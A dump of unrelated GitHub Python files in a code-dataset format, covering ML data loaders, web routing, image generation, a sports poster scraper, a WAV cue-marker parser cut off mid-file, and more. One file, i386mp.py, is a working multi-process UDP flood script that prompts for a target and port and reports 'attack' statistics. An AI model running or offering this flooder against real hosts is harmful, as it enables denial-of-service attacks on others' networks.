'neutral'\n","repo_name":"surazkarn/tracker-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5124,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"26189999011","text":"import multiprocessing\nimport time\nimport random\nimport socket\nq = multiprocessing.Queue()\nelapsed = 0\n\nprint(\"\"\"\n _ ____ ___ __ \n (_)___ \\ / _ \\ / / \n _ __) | (_) |/ /_ \n | ||__ < > _ <| '_ \\ \n | |___) | (_) | (_) |\n |_|____/ \\___/ \\___/\n\n\"\"\")\n\n\ndef dos(target, port, reqamount):\n byte = random.randint(0, 20000)\n print(f'[!]{multiprocessing.current_process().name} spawned, autogenerated packet size is {byte} bytes.')\n bsize = byte\n reqs = 0\n client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n byte = bytes(byte)\n while reqs < reqamount:\n try:\n client.sendto(byte, (target, port))\n except:\n print('Exception occured at loop > ' + str(reqs))\n break\n else:\n reqs += 1\n continue\n q.put(bsize)\n\nt = input('Enter target (defaults to 192.168.0.1) > ')\nif len(t) == 0:\n t = '192.168.0.1'\n\np = input('Enter port (defaults to 80) > ')\nif len(p) == 0:\n p = 80\nelse:\n p = int(p)\n\nr = input('Enter amount of requests (defaults to 100) > ')\nif len(r) == 0:\n r = 100\nelse:\n r = int(r)\n\nmpa = input('Enter amount of processes, one process for each core (defaults to 4) > ')\nif len(mpa) == 0:\n mpa = 4\nelse:\n mpa = int(mpa)\n\ntotal = 0\n\nif __name__ == '__main__':\n start = time.time()\n for i in range(0, mpa):\n mp = multiprocessing.Process(target=dos, args=(t, p, r/mpa))\n mp.start()\n mp.join()\n finish = time.time()\n while not q.empty():\n total += round((q.get() * r) / 1000000, 2)\n\n#calculate attack stats\nelapsed = round(finish - start, 2)\nmbs = round(total / elapsed, 2)\ntotal = round(total, 2)\n\nprint('-' * 60)\nprint('Attack finished!')\nprint(f'[+]Total data sent: {total}MB')\nprint(f'[+]Time elapsed: {elapsed} seconds.')\nprint(f'[+]Average speed: {mbs}MB per second.')\nprint('-' * 60)\n","repo_name":"francesfarmerwill/i368","sub_path":"i386mp.py","file_name":"i386mp.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31505299309","text":"import json\nimport os, sys\nimport numpy as np\n\nsys.path.append(\"/home/haythem/Desktop/Work/training/chatbot/\")\nfrom utils import preproces_text, bag_of_words\nfrom torch.utils.data import Dataset, DataLoader\n\nwith open(\"intents.json\", \"r\") as file:\n intents = json.load(file)\n\nall_words = []\ntags = []\ndata = []\nfor intent in intents[\"intents\"]:\n tag = intent[\"tag\"]\n tags.append(tag)\n for pattern in intent[\"patterns\"]:\n words_from_sentence = preproces_text(pattern)\n if words_from_sentence != []:\n all_words.extend(words_from_sentence)\n data.append((words_from_sentence, tag))\n\nall_words = mylist = list(dict.fromkeys(all_words))\nall_words = sorted(set(all_words))\n\ntags = sorted(set(tags))\n# Create training data\nX_train = []\ny_train = []\nfor (pattern_sentence, tag) in data:\n bag = bag_of_words(pattern_sentence, all_words)\n X_train.append(bag)\n label = tags.index(tag)\n y_train.append(label)\nX_train = np.array(X_train, dtype=\"float32\")\ny_train = np.array(y_train)\n\n\nclass chatbotdata(Dataset):\n def __init__(self):\n self.nb_samples = len(X_train)\n self.xdata = X_train\n self.ydata = y_train\n\n def __getitem__(self, index):\n return (self.xdata[index], self.ydata[index])\n\n def __len__(self):\n return self.nb_samples\n","repo_name":"haythemdhieb/Simple_chatbot","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"9439802186","text":"#AIR POLLUTION\nIDEAL_VALS = {\"PM2.5\": 11, \"PM10\": 16, \"NO\": 0, \"NO2\": 0, \"Nox\": 0, \"NH3\": 0, #Air Quality\n \"CO\": 0, \"SO2\": 88, \"O3\": 33, \"Benzene\": 5, \"Toluene\": 2.3, \"Xylene\": 0, \"AQI\": 16 , \n 'TotalSteps': 10000, 'TotalDistance': 8, 'Calories': 450, #Exercise\n 'hematocrit': {'male': 45.5, 'female': 42}, 'RBC': {'male': 5.4, 'female': 4.8}, 'MCH': {'male': 29, 'female': 29}, #Blood Reports\n \"MCV\": {'male': 30.5, 'female': 29.5}, 'RDW': {'male': 13.5, 'female': 13.5}, 'Leucocyte': {'male': 7.2, 'female': 7.2}, \n \"Platelets\": {'male': 240, 'female': 240}, 'Neutrophils': {'male': 50, 'female': 50}, 'Basophils': {'male': 0.75, 'female': 0.75}, \n 'Lymphocyte': {'male': 20, 'female': 20}, 'Creatinine': {'male': 1, 'female': 1.1}, 'Blood potassium': {'male': 4.4, 'female': 4.4}, \n 'Blood sodium': {'male': 140, 'female': 140}, 'Chloride': {'male': 102.5, 'female': 102.5}, \n 'CALORIES': 2250, 'CARBOHYDRATES': 275, 'FAT': 61, 'PROTEIN': 112.5, 'SODIUM': 2300, 'SUGAR': 125, #Nutrition\n 'HOURS_OF_SLEEP': 8, 'REM_SLEEP': 0.225, 'DEEP_SLEEP': 0.18, 'HEART_RATE_BELOW_RESTING': 0.58} #Sleep\n\nprint('TOTAL FACTORS: ', len(IDEAL_VALS))","repo_name":"WhatTheHealthHTN/WhatTheHealth","sub_path":"ALL_IDEAL_VALS.py","file_name":"ALL_IDEAL_VALS.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"30303436752","text":"import pickle\nimport numpy as np\nfrom tqdm import tqdm\nimport torch\nfrom torch.nn.utils.rnn import pad_sequence\n\ndef load_d4rl_transitions(\n dataset_name, dataset_path=None, num_samples=None, skip_timeout=True, \n shuffle=False, norm_obs=False, norm_rwd=False\n ):\n \"\"\" Parse d4rl stacked trajectories into dictionary of transitions \n \n Returns:\n transition_dataset (dict): dictionary of transitions\n obs_mean (np.array): observation mean\n obs_std (np.array): observation std\n rwd_mean (np.array): reward mean\n rwd_std (np.array): reward std\n \"\"\"\n if dataset_path is None:\n import d4rl\n import gym\n dataset = gym.make(dataset_name).get_dataset()\n else:\n with open(dataset_path, \"rb\") as f:\n dataset = pickle.load(f)\n \n # unpack dataset\n obs = dataset[\"observations\"]\n act = dataset[\"actions\"]\n rwd = dataset[\"rewards\"].reshape(-1, 1)\n next_obs = dataset[\"next_observations\"]\n terminated = 1 * dataset[\"terminals\"].reshape(-1, 1)\n \n # follow d4rl qlearning_dataset\n if skip_timeout:\n obs = obs[dataset[\"timeouts\"] == False]\n act = act[dataset[\"timeouts\"] == False]\n rwd = rwd[dataset[\"timeouts\"] == False]\n next_obs = next_obs[dataset[\"timeouts\"] == False]\n terminated = terminated[dataset[\"timeouts\"] == False]\n \n if shuffle:\n idx = np.arange(len(obs))\n np.random.shuffle(idx)\n \n obs = obs[idx]\n act = act[idx]\n rwd = rwd[idx]\n next_obs = next_obs[idx]\n terminated = terminated[idx]\n \n # subsample data\n num_samples = len(obs) if num_samples is None else min(num_samples, len(obs))\n obs = obs[:num_samples]\n act = act[:num_samples]\n rwd = rwd[:num_samples]\n next_obs = next_obs[:num_samples]\n terminated = terminated[:num_samples]\n \n # normalize data\n obs_mean = 0.\n obs_std = 1.\n if norm_obs:\n obs_mean = obs.mean(0)\n obs_std = obs.std(0)\n obs = (obs - obs_mean) / obs_std\n next_obs = (next_obs - obs_mean) / obs_std\n \n rwd_mean = 0.\n rwd_std = 1.\n if norm_rwd:\n rwd_mean = rwd.mean(0)\n rwd_std = rwd.std(0)\n rwd = (rwd - rwd_mean) / rwd_std\n \n print(\"\\nprocessed data stats\")\n print(\"obs size:\", obs.shape)\n print(\"obs_mean:\", obs.mean(0).round(2))\n print(\"obs_std:\", obs.std(0).round(2))\n print(\"rwd_mean:\", rwd.mean(0).round(2))\n print(\"rwd_std:\", rwd.std(0).round(2))\n \n transition_dataset = {\n \"obs\": obs,\n \"act\": act,\n \"rwd\": rwd,\n \"next_obs\": next_obs,\n \"done\": terminated,\n }\n return transition_dataset, obs_mean, obs_std, rwd_mean, rwd_std\n\ndef parse_d4rl_stacked_trajectories(\n dataset_name, dataset_path=None, max_eps=None, skip_terminated=False, obs_mean=None, obs_std=None\n ):\n \"\"\" Parse d4rl stacked trajectories into list of episode dictionaries \"\"\"\n if dataset_path is None:\n import d4rl\n import gym\n dataset = gym.make(dataset_name).get_dataset()\n else:\n with open(dataset_path, \"rb\") as f:\n dataset = pickle.load(f)\n\n obs_mean = 0. if obs_mean is None else obs_mean\n obs_std = 1. if obs_std is None else obs_std\n\n obs = dataset[\"observations\"]\n act = dataset[\"actions\"]\n rwd = dataset[\"rewards\"]\n next_obs = dataset[\"next_observations\"]\n terminated = dataset[\"terminals\"]\n timeout = dataset['timeouts']\n\n eps_id = np.cumsum(terminated + timeout, axis=0).flatten()\n eps_id = np.insert(eps_id, 0, 0)[:-1] # offset by 1 step\n max_eps = eps_id.max() + 1 if max_eps is None else max_eps\n \n print(\"parsing d4rl stacked trajectories\")\n traj_dataset = []\n for e in tqdm(np.unique(eps_id)):\n if terminated[eps_id == e].sum() > 0 and skip_terminated:\n continue\n\n traj_dataset.append({\n \"obs\": (obs[eps_id == e] - obs_mean) / obs_std,\n \"act\": act[eps_id == e],\n \"rwd\": rwd[eps_id == e].reshape(-1, 1),\n \"next_obs\": (next_obs[eps_id == e] - obs_mean) / obs_std,\n \"done\": 1 * terminated[eps_id == e].reshape(-1, 1),\n })\n\n if len(traj_dataset) >= max_eps:\n break\n return traj_dataset\n\ndef collate_fn(batch, pad_value=0):\n \"\"\" Collate batch of dict to have the same sequence length \"\"\"\n assert isinstance(batch[0], dict)\n keys = list(batch[0].keys())\n pad_batch = {k: pad_sequence([b[k] for b in batch], padding_value=pad_value) for k in keys}\n mask = pad_sequence([torch.ones(len(b[keys[0]])) for b in batch])\n return pad_batch, mask\n\ndef update_moving_stats(x, old_mean, old_mean_square, old_variance, size, momentum):\n \"\"\" Compute moving mean and variance stats from batch data \n \n Args:\n x (np.array): new data. size=[batch_size, x_dim]\n old_mean (np.array): old mean of x. size=[x_dim]\n old_mean_square (np.array): old mean of x-squared. size=[x_dim]\n old_variance (np.array): old variance of x. size=[x_dim]\n size (int): number of old data points\n momentum (int): momentum for old stats\n\n Returns:\n new_mean (np.array): updated mean of x. size=[x_dim]\n new_mean_square (np.array): updated mean of x-squared. size=[x_dim]\n new_variance (np.array): updated variance of x. size=[x_dim]\n \"\"\"\n batch_size = len(x)\n new_mean = (old_mean * size + np.sum(x, axis=0)) / (size + batch_size)\n new_mean_square = (old_mean_square * size + np.sum(x**2, axis=0)) / (size + batch_size)\n new_variance = new_mean_square - new_mean**2\n\n new_mean = old_mean * momentum + new_mean * (1 - momentum)\n new_mean_square = old_mean_square * momentum + new_mean_square * (1 - momentum)\n new_variance = old_variance * momentum + new_variance * (1 - momentum)\n return new_mean, new_mean_square, new_variance\n\ndef normalize(x, mean, variance):\n return (x - mean) / variance**0.5\n\ndef denormalize(x, mean, variance):\n return x * variance**0.5 + mean","repo_name":"rw422scarlet/btom_irl","sub_path":"src/utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":6054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"3035619684","text":"import wsgiref.handlers\n\nfrom google.appengine.ext import webapp\n\nfrom bebannered_pages import *\nfrom bebannered_handlers import *\n\napplication = webapp.WSGIApplication([\n #('/.*', SplashPage),\n ('/', MainPage),\n ('/howitworks', HowItWorksPage),\n ('/about',AboutPage),\n ('/privacy',PrivacyPage),\n ('/error/(.*)',ErrorPage),\n \n ('/recaptcha',ReCaptchaHandler),\n \n \n #only shown when logged out\n ('/signin',SignInPage),\n ('/signup',SignUpPage),\n #only shown when logged in\n ('/deals',DealsPage),\n ('/preferences',PreferencesPage),\n \n ('/landingpage/(.*)',LandingPageHandler),\n ('/fakelp',StaticLandingPage),\n #('/cookie',PixelHandler),\n \n #API\n ('/register',UserHandler),\n ('/login',LoginHandler),\n ('/logout',LogoutHandler),\n ('/changePassword', ChangePasswordHandler),\n #Sets preferences for a user\n ('/preferences/(.*)',PreferencesPostHandler)\n \n], debug=True)\n\n\ndef main():\n wsgiref.handlers.CGIHandler().run(application)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jurrchen/bebannered","sub_path":"bebannered.py","file_name":"bebannered.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"23314652831","text":"# -*- coding: utf-8 -*-\n\nfrom PIL import Image,ImageDraw,ImageFont\nfrom os import path, listdir, mkdir, chdir\nimport itertools\nimport json\n\n#font_path = \"C:\\\\Windows\\\\Fonts\\\\mingliub.ttc\"\n\ndef get_script_directory():\n return path.dirname(path.realpath(__file__))\n\ndef static_vars(**kwargs):\n def decorate(func):\n for k in kwargs:\n setattr(func, k, kwargs[k])\n return func\n return decorate\n\n@static_vars(counter=0)\ndef generate_id():\n generate_id.counter += 1\n return generate_id.counter\n\ndef get_cjk():\n start = int(\"4E00\", 16)\n end = int(\"9FFF\", 16)\n\n for code in range(start, end):\n yield chr(code)\n\ndef save_cjk():\n items = []\n\n for char in itertools.islice(get_cjk(), 1000):\n item = {\n \"text\": char\n }\n items.append(item)\n\n file_path = path.join(script_directory, \"data.json\")\n save_json(file_path, items)\n\ndef save_json(file_path, data):\n with open(file_path, \"w\") as data_file:\n json.dump(data, data_file, indent=2)\n\ndef load_json(file_path):\n with open(file_path, \"r\", encoding=\"utf-8\") as read_file:\n return json.load(read_file)\n\ndef generate_image_with_text(text, size, output_file_name, font_size, font_path):\n\n width, height = size\n\n image = Image.new(mode = \"RGB\", size = size, color = \"white\")\n #ImageFont.load(font_path)\n #font = ImageFont.load_default().font\n font = ImageFont.truetype(font_path, font_size, encoding = \"unic\")\n\n draw = ImageDraw.Draw(image)\n text_width, text_height = draw.textsize(text, font=font)\n position = ((width - text_width) / 2, (height - text_height) / 2)\n draw.text(position, text, font=font, fill=\"black\")\n\n image.save(output_file_name)\n\nif __name__ == '__main__':\n\n font_size = 100\n size = (150, 150)\n \n script_directory = get_script_directory()\n chdir(script_directory)\n image_output_directory = path.join(script_directory, \"images\")\n\n if not path.exists(image_output_directory):\n mkdir(image_output_directory)\n\n font_path = path.join(script_directory, \"fonts\", \"HanaMinA.ttf\")\n\n file_path = path.join(script_directory, \"data.json\")\n items = load_json(file_path)\n index = 0\n\n for item in items:\n \n text = item[\"text\"]\n file_name = generate_id()\n image_file_path = path.join(image_output_directory, \"{}.png\".format(file_name))\n\n generate_image_with_text(text, size, image_file_path, font_size, font_path)\n\n item[\"image_file_path\"] = path.relpath(image_file_path)\n item[\"label\"] = index\n index += 1\n\n file_path = path.join(script_directory, \"processed_data.json\")\n\n save_json(file_path, items)","repo_name":"Jozefpodlecki/python_playground","sub_path":"tensorflow/image_classifier/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"44995902101","text":"from tensorflow import keras\n# import matplotlib.pyplot as plt\n\n# MNIST\n\n(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()\n#plt.imshow(x_train[0])\n\nx_train = x_train / 255.0\nx_test = x_test / 255.0\n\nclass AccStop(keras.callbacks.Callback):\n\n def on_epoch_end(self, epoch, logs=None):\n\n if (logs.get('accuracy') > 0.95):\n print(\"90 % training accuracy reached\")\n self.model.stop_training = True\n\nmodel = keras.Sequential([keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(512, activation='relu'),\n keras.layers.Dense(10, activation='softmax')\n ])\n\nmodel.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])\n\nmodel.fit(x_train, y_train, epochs=10, callbacks=AccStop())","repo_name":"Virajdatt/TensorFlow_Cert_Learning","sub_path":"Coursera/Course_1/week2_ass.py","file_name":"week2_ass.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"23"} +{"seq_id":"73836089339","text":"import sys\nfrom bisect import bisect_right\ninput=sys.stdin.readline\nn=int(input())\na=[]\nfor i in range(n):a.append(list(map(int,input().split())))\na.sort()\nreward=0\nf=0\nfor i in a:\n f+=i[0]\n reward+=i[1]-f\nprint(reward)\n\n\n","repo_name":"Infinite-Loop-KJSIEIT/CSES","sub_path":"Sorting and Searching/Tasks and Deadlines/Tasks and Deadlines Vedant Kokate.py","file_name":"Tasks and Deadlines Vedant Kokate.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"23"} +{"seq_id":"36173339550","text":"from PIL import Image, ImageDraw, ImageFont\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\nimport textwrap\nimport datetime\n\nx = datetime.datetime.now()\ndate = x.strftime(\"%d %b %Y\")\n\nurl=\"https://www.iplt20.com/\"\nhtml_content = requests.get(url).text\n\nsoup = BeautifulSoup(html_content, \"html.parser\")\nHeader = list(filter(None, soup.find('ul', class_='leader-stats').get_text().split('\\n'))) \ndata = [x.strip() for x in Header if (len(x.strip()) > 0)]\n\nplayers_id = []\nmee = soup.find('ul', class_='leader-stats')\nfor i in mee:\n try:\n players_id.append(i.find_next('img')['data-player-id'])\n except:\n pass\n\nStats = {}\nStats[data[0]] = data[1:3]\nStats[data[5]] = data[6:8]\nStats[data[10]] = data[11:13]\nStats[data[15]] = data[16:18]\nStats[data[19]] = data[20:22]\nStats[data[24]] = data[25:26]\n\nimage = Image.open('Leaders.png')\ndraw = ImageDraw.Draw(image)\nfont_name = ImageFont.truetype('IntegralCF-Regular.otf', size=40)\nfont_stat = ImageFont.truetype('IntegralCF-Regular.otf', size=100)\n\nim = Image.open(requests.get(\"https://static.iplt20.com/players/210/{}.png\".format(players_id[1]), stream=True).raw)\nimage.paste(im.resize((300,300), resample=4), (-15, 735), im.resize((300,300), resample=4))\norange_cap = textwrap.wrap(Stats['Orange Cap'][0], width=10)\ny1 = 740\nif(len(orange_cap) == 1):\n orange_cap = orange_cap[0].split()\nfor line in orange_cap:\n w11, h11 = font_name.getsize(line)\n draw.text(((740 - w11)/2, y1), line, font=ImageFont.truetype('IntegralCF-Regular.otf', size=40),align='center',fill='rgb(0, 0, 0)')\n y1+= h11\nw12, h12 = font_stat.getsize(Stats['Orange Cap'][1])\ndraw.text(((740 - w12)/2, y1), Stats['Orange Cap'][1], font=ImageFont.truetype('IntegralCF-Regular.otf', size=100),align='center',fill='rgb(0, 0, 0)')\n\nim = Image.open(requests.get(\"https://static.iplt20.com/players/210/{}.png\".format(players_id[3]), stream=True).raw)\nimage.paste(im.resize((300,300), resample=4), (790, 735), im.resize((300,300), resample=4))\npurple_cap = textwrap.wrap(Stats['Purple Cap'][0], width=10)\nif(len(purple_cap) == 1):\n purple_cap = purple_cap[0].split()\ny2 = 740\nfor line in purple_cap:\n w11, h11 = font_name.getsize(line)\n draw.text(((1440 - w11)/2, y2), line, font=ImageFont.truetype('IntegralCF-Regular.otf', size=40),align='center',fill='rgb(0, 0, 0)')\n y2+= h11\nw12, h12 = font_stat.getsize(Stats['Purple Cap'][1])\ndraw.text(((1440 - w12)/2, y2), Stats['Purple Cap'][1], font=ImageFont.truetype('IntegralCF-Regular.otf', size=100),align='center',fill='rgb(0, 0, 0)')\n\nim = Image.open(requests.get(\"https://static.iplt20.com/players/210/{}.png\".format(players_id[5]), stream=True).raw)\nimage.paste(im.resize((300,300), resample=4), (-15, 1155), im.resize((300,300), resample=4))\nhighest_score = textwrap.wrap(Stats['Highest Score'][0], width=10)\nif(len(highest_score) == 1):\n highest_score = highest_score[0].split()\ny1 = 1170\nfor line in highest_score:\n w11, h11 = font_name.getsize(line)\n draw.text(((740 - w11)/2, y1), line, font=ImageFont.truetype('IntegralCF-Regular.otf', size=40),align='center',fill='rgb(0, 0, 0)')\n y1+= h11\nw12, h12 = font_stat.getsize(Stats['Highest Score'][1])\ndraw.text(((740 - w12)/2, y1), Stats['Highest Score'][1], font=ImageFont.truetype('IntegralCF-Regular.otf', size=100),align='center',fill='rgb(0, 0, 0)')\n\nim = Image.open(requests.get(\"https://static.iplt20.com/players/210/{}.png\".format(players_id[7]), stream=True).raw)\nimage.paste(im.resize((300,300), resample=4), (790, 1155), im.resize((300,300), resample=4))\nbowling_figures = textwrap.wrap(Stats['Best Bowling Figures'][0], width=10)\nif(len(bowling_figures) == 1):\n bowling_figures = bowling_figures[0].split()\ny2 = 1170\nfor line in bowling_figures:\n w11, h11 = font_name.getsize(line)\n draw.text(((1440 - w11)/2, y2), line, font=ImageFont.truetype('IntegralCF-Regular.otf', size=40),align='center',fill='rgb(0, 0, 0)')\n y2+= h11\nw12, h12 = font_stat.getsize(Stats['Best Bowling Figures'][1])\ndraw.text(((1440 - w12)/2, y2), Stats['Best Bowling Figures'][1], font=ImageFont.truetype('IntegralCF-Regular.otf', size=100),align='center',fill='rgb(0, 0, 0)')\n\n# im = Image.open(requests.get(\"https://static.iplt20.com/players/210/1125.png\", stream=True).raw)\n# image.paste(im.resize((300,300), resample=4), (-15, 1580), im.resize((300,300), resample=4))\n# most_sixes = textwrap.wrap(Stats['Most Sixes'][0], width=10)\n# if(len(most_sixes) == 1):\n# most_sixes = most_sixes[0].split()\n# y1 = 1590\n# for line in most_sixes:\n# w11, h11 = font_name.getsize(line)\n# draw.text(((740 - w11)/2, y1), line, font=ImageFont.truetype('IntegralCF-Regular.otf', size=40),align='center',fill='rgb(0, 0, 0)')\n# y1+= h11\n# w12, h12 = font_stat.getsize(Stats['Most Sixes'][1])\n# draw.text(((740 - w12)/2, y1), Stats['Most Sixes'][1], font=ImageFont.truetype('IntegralCF-Regular.otf', size=100),align='center',fill='rgb(0, 0, 0)')\n\nim = Image.open(requests.get(\"https://static.iplt20.com/players/210/{}.png\".format(players_id[11]), stream=True).raw)\nimage.paste(im.resize((300,300), resample=4), (-15, 1580), im.resize((300,300), resample=4))\nfairplay = textwrap.wrap(Stats['Paytm Fairplay'][0], width=10)\nif(len(fairplay) == 1):\n fairplay = fairplay[0].split()\ny1 = 1640\nfor line in fairplay:\n w11, h11 = font_name.getsize(line)\n draw.text(((740 - w11)/2, y1), line, font=ImageFont.truetype('IntegralCF-Regular.otf', size=40),align='center',fill='rgb(0, 0, 0)')\n y1+= h11\n\nim = Image.open(requests.get(\"https://static.iplt20.com/players/210/{}.png\".format(players_id[9]), stream=True).raw)\nimage.paste(im.resize((300,300), resample=4), (790, 1580), im.resize((300,300), resample=4))\nvaluable_player = textwrap.wrap(Stats['Most Valuable Player'][0], width=10)\nif(len(valuable_player) == 1):\n valuable_player = valuable_player[0].split()\ny2 = 1590\nfor line in valuable_player:\n w11, h11 = font_name.getsize(line)\n draw.text(((1440 - w11)/2, y2), line, font=ImageFont.truetype('IntegralCF-Regular.otf', size=40),align='center',fill='rgb(0, 0, 0)')\n y2+= h11\nw12, h12 = font_stat.getsize(Stats['Most Valuable Player'][1])\ndraw.text(((1440 - w12)/2, y2), Stats['Most Valuable Player'][1], font=ImageFont.truetype('IntegralCF-Regular.otf', size=100),align='center',fill='rgb(0, 0, 0)')\n\n\nimage.save('Output/leaders_{}.png'.format(date))\n","repo_name":"joeljo2104/IPL_Poster_Generator","sub_path":"leaders_poster.py","file_name":"leaders_poster.py","file_ext":"py","file_size_in_byte":6342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"14944747249","text":"import os\r\nimport google.cloud.storage as gcs\r\nfrom dotenv import load_dotenv\r\n\r\nload_dotenv()\r\n\r\ngcs_bucket_name = os.environ.get('GCS_BUCKET_NAME', 'damg7245-summer23-team2')\r\ngcs_project_id = os.environ.get('GCS_PROJECT_ID', 'damg7245-assignment2')\r\n\r\n\r\nstorage_client = gcs.Client(project=gcs_project_id)\r\nbucket = storage_client.bucket(gcs_bucket_name)\r\n\r\ndef fetch_file_from_gcs(file_name):\r\n\r\n # Specify the file path in the bucket\r\n blob = bucket.blob(file_name)\r\n\r\n # Download the file contents\r\n file_contents = blob.download_as_text()\r\n\r\n # Process the file contents as needed\r\n # print(f\"Contents of '{file_name}':\")\r\n # print(file_contents.encode('utf-8'))\r\n return file_contents.encode('utf-8')\r\n\r\ndef get_filename_from_gurl(gurl):\r\n return \"/\".join(gurl.split(\"/\")[-2:])\r\n","repo_name":"BigDataIA-Summer2023-Team2/Assignment2","sub_path":"streamlit/utils/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"8015998666","text":"import os.path \nimport threading\nimport json \nimport sys\n\nLanguages = {}\nlock = threading.Lock()\nOASIS_MARKER = bytearray(b'OasisID')\nCUE_MARKER = bytearray(b'cue ')\nMISSING_FILES_JSON = './Files.json'\nLANGUAGES_MISSING_FILES = \"Missing Files\"\nLANGUAGES_PATH = \"Path\"\nLANGUAGES_MISSING_FILES_COUNT = \"Missing Files Count\"\n\nclass CuePoint:\n def __init__(self):\n self.id = 0\n self.position = 0\n self.dataChunkId = b'data'\n self.chunkStart = 0\n self.blockStart = 0\n self.sampleStart = 0\n\n\n def WriteToByteArray(self):\n byteArray = bytearray()\n byteArray += self.id.to_bytes(4, byteorder=\"little\")\n byteArray += self.position.to_bytes(4, byteorder=\"little\")\n byteArray += self.dataChunkId\n byteArray += self.chunkStart.to_bytes(4, byteorder=\"little\")\n byteArray += self.blockStart.to_bytes(4, byteorder=\"little\")\n byteArray += self.sampleStart.to_bytes(4, byteorder=\"little\")\n return byteArray\n\n\nclass LIST:\n def __init__(self, numOfLabels):\n self.listChunk = b'LIST'\n self.size = 0\n self.listType = b'adtl'\n self.Label = []\n for x in range(numOfLabels):\n self.Label.append(Label())\n\n\n def WriteToByteArray(self):\n byteArray = bytearray()\n listByteArray = bytearray()\n\n self.size = 4 # 4 for adtl plus one at the end\n for x in range(len(self.Label)):\n listByteArray += self.Label[x].WriteToByteArray()\n self.size += (4 + 4 + self.Label[x].size)\n\n byteArray += self.listChunk\n byteArray += self.size.to_bytes(4, byteorder=\"little\")\n byteArray += self.listType\n byteArray += listByteArray\n\n return byteArray\n\n\nclass Label:\n def __init__(self):\n self.labelChunk = b'labl'\n self.size = 0\n self.cuePointId = 0\n self.label = bytearray()\n\n\n def GetActualLabelSize(self):\n return self.size - 4\n\n\n def WriteToByteArray(self):\n byteArray = bytearray()\n byteArray += self.labelChunk\n if len(self.label) % 2:\n self.label += b'\\x00'\n self.size = len(self.label) + 4\n byteArray += self.size.to_bytes(4, byteorder=\"little\")\n byteArray += self.cuePointId.to_bytes(4, byteorder=\"little\")\n byteArray += self.label\n return byteArray\n\n\nclass CueIDs:\n def __init__(self, numberOfCuePoints):\n self.cueLabel = bytearray(b'cue ')\n self.size = 4 + numberOfCuePoints * 24\n self.numberOfCuePoints = numberOfCuePoints\n self.cuePoints = []\n for x in range(numberOfCuePoints):\n self.cuePoints.append(CuePoint())\n\n\n def WriteToByteArray(self):\n byteArray = bytearray()\n byteArray += self.cueLabel\n byteArray += self.size.to_bytes(4, byteorder=\"little\")\n byteArray += self.numberOfCuePoints.to_bytes(4, byteorder=\"little\")\n for x in range(len(self.cuePoints)):\n byteArray += self.cuePoints[x].WriteToByteArray()\n\n return byteArray\n\n\nclass CueMarkWaveChunk:\n def __init__(self, numberOfCuePoints):\n self.CueId = CueIDs(numberOfCuePoints)\n self.List = LIST(numberOfCuePoints)\n\n\n def WriteToByteArray(self):\n byteArray = bytearray()\n byteArray += self.CueId.WriteToByteArray()\n byteArray += self.List.WriteToByteArray()\n\n return byteArray\n\n\ndef ReadCueMarkersAsByteArray(file):\n cueMarker = CueIDs(2) \n listMarker = LIST(2)\n \n binarySound = bytearray()\n\n with open(file, 'rb') as f:\n binarySound = f.read()\n \n cueIndex = binarySound.find(b'cue ')\n index = cueIndex\n print(binarySound[cueIndex: len(binarySound)])\n\n# CUE MARKER\n cueMarker.cueLabel = binarySound[cueIndex:cueIndex + 4]\n index += 4\n cueMarker.size = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n cueMarker.numberOfCuePoints= ReadBytesAsInt(binarySound, index, 4)\n\n#CUE POINT 1\n pointMood = cueMarker.cuePoints[0]\n index += 4\n pointMood.id = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n pointMood.position = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n pointMood.dataChunkId = binarySound[index:index + 4]\n index += 4\n pointMood.chunkStart = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n pointMood.blockStart = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n pointMood.sampleStart = ReadBytesAsInt(binarySound, index, 4)\n\n#CUE POINT 2\n pointOasis = cueMarker.cuePoints[1]\n index += 4\n pointOasis.id = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n pointOasis.position = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n pointOasis.dataChunkId = binarySound[index:index + 4]\n index += 4\n pointOasis.chunkStart = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n pointOasis.blockStart = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n pointOasis.sampleStart = ReadBytesAsInt(binarySound, index, 4)\n\n#LIST \n index += 4\n listMarker.listChunk = binarySound[index:index + 4]\n index += 4\n listMarker.size = ReadBytesAsInt(binarySound, index, 4)\n index += 4\n listMarker.listType = 